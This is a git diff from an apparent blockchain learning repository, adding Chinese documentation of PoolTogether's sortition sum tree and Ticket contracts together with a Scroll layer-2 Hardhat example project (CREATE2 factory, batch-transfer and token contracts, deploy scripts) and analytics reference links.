+用于初始化树, 其中传入参数 _key 为每个树的键值, _K 为每个节点最多含有的子节点个数. 
+```solidity
+/**
+     *  @dev Create a sortition sum tree at the specified key.
+     *  @param _key The key of the new tree.
+     *  @param _K The number of children each node in the 截屏2021-11-16 上午10.59.08tree should have.
+     */
+    function createTree(SortitionSumTrees storage self, bytes32 _key, uint _K) internal {
+        SortitionSumTree storage tree = self.sortitionSumTrees[_key];
+        require(tree.K == 0, "Tree already exists.");
+        require(_K > 1, "K must be greater than one.");
+        tree.K = _K;  // 设置最大子节点个数
+        tree.stack = new uint[](0);  // 初始化 stack
+        tree.nodes = new uint[](0);  // 初始化 nodes
+        tree.nodes.push(0);  // 放入根节点
+    }
+```
+
+- set  
+根据传入的 _key 修改对应的树中的数据, 一下将具体举例进行介绍这个函数的功能. 
+```solidity
+/**
+     *  @dev Set a value of a tree.
+     *  @param _key The key of the tree.
+     *  @param _value The new value.
+     *  @param _ID The ID of the value.
+     *  `O(log_k(n))` where
+     *  `k` is the maximum number of childs per node in the tree,
+     *   and `n` is the maximum number of nodes ever appended.
+     */
+    function set(SortitionSumTrees storage self, bytes32 _key, uint _value, bytes32 _ID) internal {
+        SortitionSumTree storage tree = self.sortitionSumTrees[_key];
+        uint treeIndex = tree.IDsToNodeIndexes[_ID];
+
+        if (treeIndex == 0) { // No existing node.
+            if (_value != 0) { // Non zero value.
+                // Append.
+                // Add node.
+                if (tree.stack.length == 0) { // No vacant spots.
+                    // Get the index and append the value.
+                    treeIndex = tree.nodes.length;
+                    tree.nodes.push(_value);
+
+                    // Potentially append a new node and make the parent a sum node.
+                    if (treeIndex != 1 && (treeIndex - 1) % tree.K == 0) { // Is first child.
+                        uint parentIndex = treeIndex / tree.K;
+                        bytes32 parentID = tree.nodeIndexesToIDs[parentIndex];
+                        uint newIndex = treeIndex + 1;
+                        tree.nodes.push(tree.nodes[parentIndex]);
+                        delete tree.nodeIndexesToIDs[parentIndex];
+                        tree.IDsToNodeIndexes[parentID] = newIndex;
+                        tree.nodeIndexesToIDs[newIndex] = parentID;
+                    }
+                } else { // Some vacant spot.
+                    // Pop the stack and append the value.
+                    treeIndex = tree.stack[tree.stack.length - 1];
+                    tree.stack.pop();
+                    tree.nodes[treeIndex] = _value;
+                }
+
+                // Add label.
+                tree.IDsToNodeIndexes[_ID] = treeIndex;
+                tree.nodeIndexesToIDs[treeIndex] = _ID;
+
+                updateParents(self, _key, treeIndex, true, _value);
+            }
+        } else { // Existing node.
+            if (_value == 0) { // Zero value.
+                // Remove.
+                // Remember value and set to 0.
+                uint value = tree.nodes[treeIndex];
+                tree.nodes[treeIndex] = 0;
+
+                // Push to stack.
+                tree.stack.push(treeIndex);
+
+                // Clear label.
+                delete tree.IDsToNodeIndexes[_ID];
+                delete tree.nodeIndexesToIDs[treeIndex];
+
+                updateParents(self, _key, treeIndex, false, value);
+            } else if (_value != tree.nodes[treeIndex]) { // New, non zero value.
+                // Set.
+                bool plusOrMinus = tree.nodes[treeIndex] <= _value;
+                uint plusOrMinusValue = plusOrMinus ? _value - tree.nodes[treeIndex] : tree.nodes[treeIndex] - _value;
+                tree.nodes[treeIndex] = _value;
+
+                updateParents(self, _key, treeIndex, plusOrMinus, plusOrMinusValue);
+            }
+        }
+    }
+```
+
+
+假设 tree.K = 2 ,  nodes 和 stak 初始状态为如下, 其中 nodes 只存入了一个根节点.
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/33-pooltogether/init_status.png?raw=true" /></center>
+
+
+1) 场景1: 调用 set, 设置用户 A 的值       
+set("Alice", 15 ,  "0x001"):    其中第一个参数为树的 ID, 表示操作哪个树 , 第二个参数为节点值, 第三个值为节点 ID       
+
+2) 场景2: 调用 set, 设置用户 B 的值  
+set("Alice", 10 ,  "0x002")  
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/33-pooltogether/tworecords.png?raw=true" /></center>
+
+3) 场景3: 调用 set, 设置用户 C 的值  
+set("Alice", 5 ,  "0x003")   
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/33-pooltogether/thirdrecords.png?raw=true" /></center>
+
+4) 场景4: 调用 set, 设置用户 C 的值为 0  
+set("Alice", 0 ,  "0x003")  
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/33-pooltogether/resetC.png?raw=true" /></center>
+
+5) 场景5: 调用 set, 设置用户 D 的值为 8
+set("Alice", 8 ,  "0x004")  
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/33-pooltogether/fourrecords.png?raw=true" /></center>
+
+### 总结   
+根据如上的分析, 每次 Set 时，如果对应的节点 ID 不存在当前 tree 中，则会在当前的树中插入对应的节点, 如果节点下有子节点, 则把节点下移, 当前节点修改为聚合节点, 节点值修改为下面所有叶子结点的值总和.  
+如果 Set 时, 输入的 value 为 0 , 并且对应的节点 ID 已经存在当前的树中，则移除对应的节点 ID, 并把节点 Index 存入 Stack 中.  当后面有新的节点加入时, 先查看 Stack 中是否存在数据, 如果有, 则从 Stack 中取出对应的 Index, 把新的节点放入到这个对应的 Index 中.
+
+
+
+- draw  
+从树中返回一个节点 ID 
+```
+/**
+     *  @dev Draw an ID from a tree using a number. Note that this function reverts if the sum of all values in the tree is 0.
+     *  @param _key The key of the tree.
+     *  @param _drawnNumber The drawn number.
+     *  @return ID The drawn ID.
+     *  `O(k * log_k(n))` where
+     *  `k` is the maximum number of childs per node in the tree,
+     *   and `n` is the maximum number of nodes ever appended.
+     */
+    function draw(SortitionSumTrees storage self, bytes32 _key, uint _drawnNumber) internal view returns(bytes32 ID) {
+        SortitionSumTree storage tree = self.sortitionSumTrees[_key];
+        uint treeIndex = 0;
+        uint currentDrawnNumber = _drawnNumber % tree.nodes[0];
+
+        while ((tree.K * treeIndex) + 1 < tree.nodes.length)  // While it still has children.
+            for (uint i = 1; i <= tree.K; i++) { // Loop over children.
+                uint nodeIndex = (tree.K * treeIndex) + i;
+                uint nodeValue = tree.nodes[nodeIndex];
+
+                if (currentDrawnNumber >= nodeValue) currentDrawnNumber -= nodeValue; // Go to the next child.
+                else { // Pick this child.
+                    treeIndex = nodeIndex;
+                    break;
+                }
+            }
+        
+        ID = tree.nodeIndexesToIDs[treeIndex];
+    }
+```  
+
+以下图数据为例
+当调用 draw 接口, 传入 drawnNumber 为 30 时, 接口判断 30 大于 index=1 的节点，接口更新 drawnNumber = 30 - 25 = 5  后，继续从兄弟节点 （ index=2 ）判断。
+之后, 接口判断 drawnNumber < 25 ( index:2 ）, 然后继续迭代节点 （ index=2 ）子节点, 最终得到叶子节点 20 ( index=5 )
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/33-pooltogether/draw.png?raw=true" /></center>
+
+- stakeOf
+根据传入的节点 ID, 获取这个 ID 对应的值
+```solidity
+/** @dev Gets a specified ID's associated value.
+     *  @param _key The key of the tree.
+     *  @param _ID The ID of the value.
+     *  @return value The associated value.
+     */
+    function stakeOf(SortitionSumTrees storage self, bytes32 _key, bytes32 _ID) internal view returns(uint value) {
+        SortitionSumTree storage tree = self.sortitionSumTrees[_key];
+        uint treeIndex = tree.IDsToNodeIndexes[_ID];
+
+        if (treeIndex == 0) value = 0;
+        else value = tree.nodes[treeIndex];
+    }
+```
\ No newline at end of file
diff --git a/basic/33-pooltogether/docs/4-Ticket.md b/basic/33-pooltogether/docs/4-Ticket.md
new file mode 100644
index 000000000..17cc2bbc7
--- /dev/null
+++ b/basic/33-pooltogether/docs/4-Ticket.md
@@ -0,0 +1,87 @@
+## Ticket 介绍  
+此合约为彩票合约, 当用户存入资产, 如 Dai/USDT/USDC 时, 就会获得相应的彩票份额.  
+
+## 主要接口介绍  
+- initialize   
+初始化接口, 用于初始化相应的 name/symbol/decimals/controller, 同时创建一个最大子节点个数为 5 的树。
+```solidity
+/// @notice Initializes the Controlled Token with Token Details and the Controller
+  /// @param _name The name of the Token
+  /// @param _symbol The symbol for the Token
+  /// @param _decimals The number of decimals for the Token
+  /// @param _controller Address of the Controller contract for minting & burning
+  function initialize(
+    string memory _name,
+    string memory _symbol,
+    uint8 _decimals,
+    TokenControllerInterface _controller
+  )
+    public
+    virtual
+    override
+    initializer
+  {
+    require(address(_controller) != address(0), "Ticket/controller-not-zero");
+    ControlledToken.initialize(_name, _symbol, _decimals, _controller);
+    sortitionSumTrees.createTree(TREE_KEY, MAX_TREE_LEAVES);
+    emit Initialized(
+      _name,
+      _symbol,
+      _decimals,
+      _controller
+    );
+  }
+```
+
+- chanceOf 
+获取用户的获奖几率, 实际上就是获取这个用户 ID 对应的叶子节点值
+```solidity
+/// @notice Returns the user's chance of winning.
+  function chanceOf(address user) external view returns (uint256) {
+    return sortitionSumTrees.stakeOf(TREE_KEY, bytes32(uint256(user)));
+  }
+``` 
+
+- draw 
+抽取获奖用户. 
+首先会判断当前 totalSupply 是否为 0, 即是否有用户参与抽奖, 如果没有, 则选取获奖用户为 0 地址; 如果有用户参与抽奖, 则调用 UniformRandomNumber.uniform 获取随机数, 然后根据产生的随机数抽取获奖用户.
+```solidity
+/// @notice Selects a user using a random number.  The random number will be uniformly bounded to the ticket totalSupply.
+  /// @param randomNumber The random number to use to select a user.
+  /// @return The winner
+  function draw(uint256 randomNumber) external view override returns (address) {
+    uint256 bound = totalSupply();
+    address selected;
+    if (bound == 0) {
+      selected = address(0);
+    } else {
+      uint256 token = UniformRandomNumber.uniform(randomNumber, bound);
+      selected = address(uint256(sortitionSumTrees.draw(TREE_KEY, token)));
+    }
+    return selected;
+  }
+```
+
+- _beforeTokenTransfer
+钩子函数, 在每次转账之前都会调用这个函数用户进行特定设置.
+当调用 Ticket 合约的 mint 的接口时, 会在 sortitionSumTrees 中设置用户对应叶子结点的 ID 和 节点值.
+```solidity
+function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
+    super._beforeTokenTransfer(from, to, amount);
+
+    // optimize: ignore transfers to self
+    if (from == to) {
+      return;
+    }
+
+    if (from != address(0)) {
+      uint256 fromBalance = balanceOf(from).sub(amount);
+      sortitionSumTrees.set(TREE_KEY, fromBalance, bytes32(uint256(from)));
+    }
+
+    if (to != address(0)) {
+      uint256 toBalance = balanceOf(to).add(amount);
+      sortitionSumTrees.set(TREE_KEY, toBalance, bytes32(uint256(to)));
+    }
+  }
+```
diff --git a/basic/33-pooltogether/hardhat.config.js b/basic/33-pooltogether/hardhat.config.js
new file mode 100644
index 000000000..6e3b77607
--- /dev/null
+++ b/basic/33-pooltogether/hardhat.config.js
@@ -0,0 +1,75 @@
+require("@nomiclabs/hardhat-waffle");
+//todo import typechain
+//require("hardhat-typechain");
+const fs = require("fs");
+require('dotenv').config()
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task("accounts", "Prints the list of accounts", async () => {
+  const accounts = await ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+function mnemonic() {
+
+  return process.env.PRIVATE_KEY
+
+}
+// You need to export an object to set up your config
+// Go to https://hardhat.org/config/ to learn more
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: {
+    compilers: [
+      {
+        version: "0.8.3"
+      },
+      {
+        version: "0.6.6",
+        settings: {}
+      }
+    ]
+  },
+  networks: {
+    localhost: {
+      url: "http://localhost:8545",
+      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    rinkeby: {
+      url: "https://rinkeby.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    kovan: {
+      url: "https://kovan.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    mainnet: {
+      url: "https://mainnet.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    ropsten: {
+      url: "https://ropsten.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+  }
+};
+
diff --git a/basic/33-pooltogether/package.json b/basic/33-pooltogether/package.json
new file mode 100644
index 000000000..bfbb2d044
--- /dev/null
+++ b/basic/33-pooltogether/package.json
@@ -0,0 +1,26 @@
+{
+  "name": "33-pooltogether",
+  "version": "1.0.0",
+  "description": "pooltogether 官网: https://pooltogether.com   github 仓库: https://github.com/pooltogether",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "dotenv": "^10.0.0",
+    "hardhat": "^2.6.4",
+    "@openzeppelin/contracts": "^3.1.0",
+    "@chainlink/contracts": "^0.0.10",
+    "@chainlink/test-helpers": "^0.0.4"
+  },
+  "devDependencies": {
+    "@nomiclabs/hardhat-ethers": "^2.0.0",
+    "@nomiclabs/hardhat-waffle": "^2.0.0",
+    "chai": "^4.2.0",
+    "ethereum-waffle": "^3.0.0",
+    "ethers": "^5.0.0"
+  }
+}
diff --git a/basic/34-scroll-layer2/.env.example b/basic/34-scroll-layer2/.env.example
new file mode 100644
index 000000000..67b793141
--- /dev/null
+++ b/basic/34-scroll-layer2/.env.example
@@ -0,0 +1,2 @@
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
+INFURA_ID=yyyyyyyy
\ No newline at end of file
diff --git a/basic/34-scroll-layer2/.gitignore b/basic/34-scroll-layer2/.gitignore
new file mode 100644
index 000000000..36077f288
--- /dev/null
+++ b/basic/34-scroll-layer2/.gitignore
@@ -0,0 +1,9 @@
+node_modules
+.env
+coverage
+coverage.json
+typechain
+
+#Hardhat files
+cache
+artifacts
diff --git a/basic/34-scroll-layer2/README.md b/basic/34-scroll-layer2/README.md
new file mode 100644
index 000000000..7ad55b331
--- /dev/null
+++ b/basic/34-scroll-layer2/README.md
@@ -0,0 +1,29 @@
+# Scroll
+
+## bridge
+https://scroll.io/bridge 
+
+
+## Contract Deploy 
+```
+npx hardhat run --network scrollSepolia scripts/deploy.js 
+```
+## contract 
+```
+npx hardhat verify --network scrollSepolia <contract address> <space separated constructor parameters>
+
+```
+
+
+## Ethereum & Scroll Differences
+https://docs.scroll.io/en/developers/ethereum-and-scroll-differences/ 
+
+## Scroll Architecture
+https://docs.scroll.io/en/technology/
+
+## REFERENCE 
+- scroll doc: https://docs.scroll.io/en/developers/developer-quickstart/#hardhat
+- scroll demo: https://github.com/scroll-tech/scroll-guides.git
+- bridge erc20: https://docs.scroll.io/en/developers/guides/bridge-erc20-through-the-custom-gateway/ 
+- scroll youtube: https://www.youtube.com/@Scroll_ZKP
+
diff --git a/basic/34-scroll-layer2/contracts/ExampleContract.sol b/basic/34-scroll-layer2/contracts/ExampleContract.sol
new file mode 100644
index 000000000..3614d342b
--- /dev/null
+++ b/basic/34-scroll-layer2/contracts/ExampleContract.sol
@@ -0,0 +1,9 @@
+pragma solidity ^0.8.17;
+
+contract ExampleContract {
+    uint public exampleVariable;
+
+    constructor(uint _exampleParam) {
+        exampleVariable = _exampleParam;
+    }
+}
\ No newline at end of file
diff --git a/basic/34-scroll-layer2/contracts/ExampleContractFactory.sol b/basic/34-scroll-layer2/contracts/ExampleContractFactory.sol
new file mode 100644
index 000000000..0a412c587
--- /dev/null
+++ b/basic/34-scroll-layer2/contracts/ExampleContractFactory.sol
@@ -0,0 +1,37 @@
+pragma solidity ^0.8.17;
+
+import "./ExampleContract.sol";
+
+contract ExampleContractFactory {
+
+    event DeterministicContractDeployed(address contractAddress);
+
+    function deployDeterministically(
+        uint _exampleParam,
+        uint _salt
+    ) public returns (address) {
+        ExampleContract deterministicContract = new ExampleContract{salt: bytes32(_salt)}(_exampleParam);
+        address deterministicContractAddress = address(deterministicContract);
+
+        emit DeterministicContractDeployed(deterministicContractAddress);
+        return deterministicContractAddress;
+    }
+
+        function getAddress(
+        bytes memory bytecode,
+        uint _salt
+    ) public view returns (address) {
+        bytes32 hash = keccak256(
+            abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode))
+        );
+
+        // NOTE: cast last 20 bytes of hash to address
+        return address(uint160(uint(hash)));
+    }
+
+    function getBytecode(uint _exampleParam) public pure returns (bytes memory) {
+        bytes memory bytecode = type(ExampleContract).creationCode;
+
+        return abi.encodePacked(bytecode, abi.encode(_exampleParam));
+    }
+}
\ No newline at end of file
diff --git a/basic/34-scroll-layer2/contracts/MultipleSend.sol b/basic/34-scroll-layer2/contracts/MultipleSend.sol
new file mode 100644
index 000000000..31a33a012
--- /dev/null
+++ b/basic/34-scroll-layer2/contracts/MultipleSend.sol
@@ -0,0 +1,87 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.17;
+
+interface IERC20 {
+    function transferFrom(address from, address to, uint256 amount) external returns (bool);
+    function balanceOf(address account) external view returns (uint256);
+    function allowance(address owner, address spender) external view returns (uint256);
+}
+
+contract MultipleEtherAndTokenTransfer {
+    address public owner;
+    mapping(address => bool) public admins;
+
+    constructor() {
+        owner = msg.sender;
+        admins[owner] = true; // The owner is automatically an admin
+  
+    }
+
+    modifier onlyOwner() {
+        require(msg.sender == owner, "Not the owner");
+        _;
+    }
+
+       modifier onlyAdmin() {
+        require(msg.sender == owner || admins[msg.sender], "Not an admin");
+        _;
+    }
+
+        // Function to transfer ownership of the contract
+    function transferOwnership(address newOwner) public onlyOwner {
+        require(newOwner != address(0), "New owner cannot be the zero address");
+        owner = newOwner;
+        admins[newOwner] = true; // Make the new owner an admin
+    }
+
+      // Function to add an admin
+    function addAdmin(address _admin) public onlyOwner {
+        admins[_admin] = true;
+    }
+
+    // Function to remove an admin
+    function removeAdmin(address _admin) public onlyOwner {
+        require(_admin != owner, "Cannot remove owner");
+        admins[_admin] = false;
+    }
+
+
+    function transferMultipleEther(address[] memory _to, uint[] memory _amount) public payable onlyAdmin {
+        require(_to.length == _amount.length, "Arrays must be of the same length");
+
+        for (uint i = 0; i < _to.length; i++) {
+            payable(_to[i]).transfer(_amount[i]);
+        }
+    }
+
+    function transferMultipleERC20(IERC20 token, address[] memory _to, uint[] memory _amount) public onlyAdmin {
+        require(_to.length == _amount.length, "Arrays must be of the same length");
+
+        uint totalAmount = 0;
+        for (uint i = 0; i < _amount.length; i++) {
+            totalAmount += _amount[i];
+        }
+
+        require(token.balanceOf(msg.sender) >= totalAmount, "Insufficient balance");
+        require(token.allowance(msg.sender, address(this)) >= totalAmount, "Insufficient allowance");
+
+        for (uint i = 0; i < _to.length; i++) {
+            require(token.transferFrom(msg.sender, _to[i], _amount[i]), "Transfer failed");
+        }
+    }
+
+    function withdrawEther() public onlyAdmin {
+        uint balance = address(this).balance;
+        require(balance > 0, "No funds to withdraw");
+        payable(owner).transfer(balance);
+    }
+
+    function withdrawERC20(IERC20 token) public onlyAdmin {
+        uint balance = token.balanceOf(address(this));
+        require(balance > 0, "No tokens to withdraw");
+        require(token.transfer(owner, balance), "Transfer failed");
+    }
+
+
+    receive() external payable {}
+}
\ No newline at end of file
diff --git a/basic/34-scroll-layer2/contracts/SimpleToken.sol b/basic/34-scroll-layer2/contracts/SimpleToken.sol
new file mode 100644
index 000000000..9f165ef57
--- /dev/null
+++ b/basic/34-scroll-layer2/contracts/SimpleToken.sol
@@ -0,0 +1,28 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts-0.8/token/ERC20/presets/ERC20PresetMinterPauser.sol";
+
+contract SimpleToken is ERC20PresetMinterPauser {
+    /**
+     * @dev Constructor that gives msg.sender all of existing tokens.
+     */
+
+    uint8 private _decimals;
+    uint256 public INITIAL_SUPPLY;
+
+    function decimals() public view override returns (uint8) {
+        return _decimals;
+    }
+
+    constructor(
+        string memory name,
+        string memory symbol,
+        uint8 decimals_,
+        uint256 initial_supply
+    ) ERC20PresetMinterPauser(name, symbol) {
+        _decimals = decimals_;
+        INITIAL_SUPPLY = initial_supply * (10**uint256(decimals_));
+        _mint(msg.sender, initial_supply * (10**uint256(decimals_)));
+    }
+}
diff --git a/basic/34-scroll-layer2/hardhat.config.js b/basic/34-scroll-layer2/hardhat.config.js
new file mode 100644
index 000000000..3c9521130
--- /dev/null
+++ b/basic/34-scroll-layer2/hardhat.config.js
@@ -0,0 +1,108 @@
+require("@nomiclabs/hardhat-waffle");
+const fs = require("fs");
+require('dotenv').config()
+
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task("accounts", "Prints the list of accounts", async () => {
+  const accounts = await ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+function mnemonic() {
+
+ return process.env.PRIVATE_KEY;
+
+}
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: {
+    "compilers": [
+      {
+        "version": "0.6.11",
+        "settings": {
+          "optimizer": {
+            "enabled": true,
+            "runs": 100
+          }
+        }
+      },
+      {
+        "version": "0.8.17",
+        "settings": {
+          "optimizer": {
+            "enabled": true,
+            "runs": 100
+          }
+        }
+      }
+    ]
+  },
+  networks: {
+    localhost: {
+      url: "http://localhost:8545",
+      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    rinkeby: {
+      url: `https://rinkeby.infura.io/v3/${process.env.INFURA_ID}`, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    arbitrum: {
+      url: 'https://arb1.arbitrum.io/rpc',
+      accounts: [
+        mnemonic()
+      ],
+    },
+    arbitrum_rinkeby: {
+      url: 'https://rinkeby.arbitrum.io/rpc',
+      accounts: [
+        mnemonic()
+      ],
+    },
+    scrollSepolia: {
+      url: "https://sepolia-rpc.scroll.io/",
+      accounts: [
+        mnemonic()
+      ]
+    },
+    scroll: {
+      url: "https://rpc.scroll.io",
+      accounts: [
+        mnemonic()
+      ]
+    },
+      polygonZkEVM: {
+      url: `https://rpc.public.zkevm-test.net`,
+      accounts: [ mnemonic()
+      ],
+      },
+  },
+  etherscan: {
+    apiKey: {
+      scrollSepolia: 'abc',
+    },
+    customChains: [
+      {
+        network: 'scrollSepolia',
+        chainId: 534351,
+        urls: {
+          apiURL: 'https://sepolia-blockscout.scroll.io/api',
+          browserURL: 'https://sepolia-blockscout.scroll.io/',
+        },
+      },
+    ],
+}
+};
\ No newline at end of file
diff --git a/basic/34-scroll-layer2/package.json b/basic/34-scroll-layer2/package.json
new file mode 100644
index 000000000..670a43993
--- /dev/null
+++ b/basic/34-scroll-layer2/package.json
@@ -0,0 +1,27 @@
+{
+  "name": "34-Scroll-layer2",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "npx hardhat test"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "dotenv": "^10.0.0",
+    "hardhat": "^2.6.5"
+  },
+  "devDependencies": {
+    "@arbitrum/sdk": "^1.1.4",
+    "@nomiclabs/hardhat-ethers": "^2.0.0",
+    "@nomiclabs/hardhat-waffle": "^2.0.0",
+    "arb-bridge-eth": "^0.7.7",
+    "arb-shared-dependencies": "^1.0.0",
+    "arbos-precompiles": "^1.0.2",
+    "chai": "^4.2.0",
+    "ethereum-waffle": "^3.0.0",
+    "ethers": "^5.0.0"
+  }
+}
diff --git a/basic/34-scroll-layer2/scripts/create2Deploy.js b/basic/34-scroll-layer2/scripts/create2Deploy.js
new file mode 100644
index 000000000..b1c3867aa
--- /dev/null
+++ b/basic/34-scroll-layer2/scripts/create2Deploy.js
@@ -0,0 +1,54 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional 
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const { ethers } = require("hardhat");
+
+async function main() {
+
+    const [deployer] = await ethers.getSigners();
+    console.log("Network ChainId:", (await ethers.provider.getNetwork()).chainId);
+
+    console.log(
+        "Deploying contracts with the account:",
+        deployer.address
+    );
+
+    console.log("Account balance:", (await deployer.getBalance()).toString());
+
+    const factoryContractDeployer = await ethers.getContractFactory("ExampleContractFactory");
+    const contractDeployer = await ethers.getContractFactory("ExampleContract");
+    const factoryContractdeployed = await factoryContractDeployer.deploy()
+  
+    const exampleParam = 1
+    const salt = 1
+  
+    const exampleContractBytecode = await factoryContractdeployed.getBytecode(exampleParam);
+    console.log("bytecode" , exampleContractBytecode)
+    
+    const contractAddress = await factoryContractdeployed.getAddress(exampleContractBytecode, salt);
+    console.log("contract address calculated",contractAddress)
+    
+    const contract = await contractDeployer.attach(contractAddress)
+  
+    const deploy = await factoryContractdeployed.deployDeterministically(exampleParam,salt)
+
+    const receipt = await deploy.wait();
+  
+    console.log("Factory deployed to:", receipt.events[0].args.contractAddress);
+
+    // let  val = await contract.exampleVariable();
+    
+    // console.log("exampleVariable ", val);
+
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/34-scroll-layer2/scripts/deploy.js b/basic/34-scroll-layer2/scripts/deploy.js
new file mode 100644
index 000000000..eeb37328b
--- /dev/null
+++ b/basic/34-scroll-layer2/scripts/deploy.js
@@ -0,0 +1,34 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional 
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const { ethers } = require("hardhat");
+require('dotenv').config()
+
+async function main() {
+
+    const [deployer] = await ethers.getSigners();
+    console.log("Network ChainId:", (await ethers.provider.getNetwork()).chainId);
+
+    console.log(
+        "Deploying contracts with the account:",
+        deployer.address
+    );
+
+    console.log("Account balance:", (await deployer.getBalance()).toString());
+
+    const Token = await ethers.getContractFactory("SimpleToken");
+    const token = await Token.deploy("Dapp-Learning-scroll", "DL", 18, 100000000);
+
+    console.log("Token address:", token.address);
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/34-scroll-layer2/scripts/wallet.js b/basic/34-scroll-layer2/scripts/wallet.js
new file mode 100644
index 000000000..a5820723b
--- /dev/null
+++ b/basic/34-scroll-layer2/scripts/wallet.js
@@ -0,0 +1,51 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional 
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const { ethers } = require("hardhat");
+require('dotenv').config()
+
+async function main() {
+
+  
+
+  const mnemonic = process.env.mem;
+  let array= new Array();
+
+  for (let index = 0; index < 10; index++) {
+        const wallet = ethers.Wallet.fromMnemonic(mnemonic, `m/44'/60'/0'/0/${index}`);
+        console.log(wallet.address);
+        array.push(wallet.address);
+   }
+
+    const Sender = await ethers.getContractFactory("MultipleEtherTransfer");
+    //let senderContract = await Sender.deploy();
+    let senderContract = await Sender.attach("");
+    await  senderContract.transferMultiple(array);
+
+    for (let index = 0; index < 10; index++) {
+      let wallet = ethers.Wallet.fromMnemonic(mnemonic, `m/44'/60'/0'/0/${index}`);
+      wallet = wallet.connect( ethers.provider)
+      console.log(wallet.address);
+    //  console.log("Account balance:", (await wallet.getBalance()).toString());
+  
+    const factoryContractDeployer = await ethers.getContractFactory("ExampleContractFactory",wallet);
+   
+    await factoryContractDeployer.deploy()
+     
+ }
+
+
+
+  
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/35-dune-analytics-nansen/nansen.md b/basic/35-dune-analytics-nansen/nansen.md
new file mode 100644
index 000000000..489afc632
--- /dev/null
+++ b/basic/35-dune-analytics-nansen/nansen.md
@@ -0,0 +1,21 @@
+# nansen
+
+## 介绍
+nansen科普：https://mp.weixin.qq.com/s/NjKdX4KtVLYI47EY6HBzwA
+中文说明书：https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/papers/7-tool/nansen中文说明书.pdf  
+## 参考链接
+
+- 视频：https://www.bilibili.com/video/BV1ZK4y137Ce
+- nansen说明书： https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/papers/7-tool/nansen中文说明书.pdf
+
+- https://qiita.com/shooter/items/3b66fc6400bc49854ffe
+
+- https://learnblockchain.cn/article/1746
+
+- https://docs.duneanalytics.com/data-tables/data-tables/raw-data/ethereum-data
+
+- https://duneanalytics.com/browse/queries?user_name=shooter
+
+- https://app.flipsidecrypto.com/velocity
+
+- https://glassnode.com/
\ No newline at end of file
diff --git a/basic/35-dune-analytics-nansen/readme.md b/basic/35-dune-analytics-nansen/readme.md
new file mode 100644
index 000000000..ab958e923
--- /dev/null
+++ b/basic/35-dune-analytics-nansen/readme.md
@@ -0,0 +1,309 @@
+# duneanalytics & nansen
+
+## 介绍
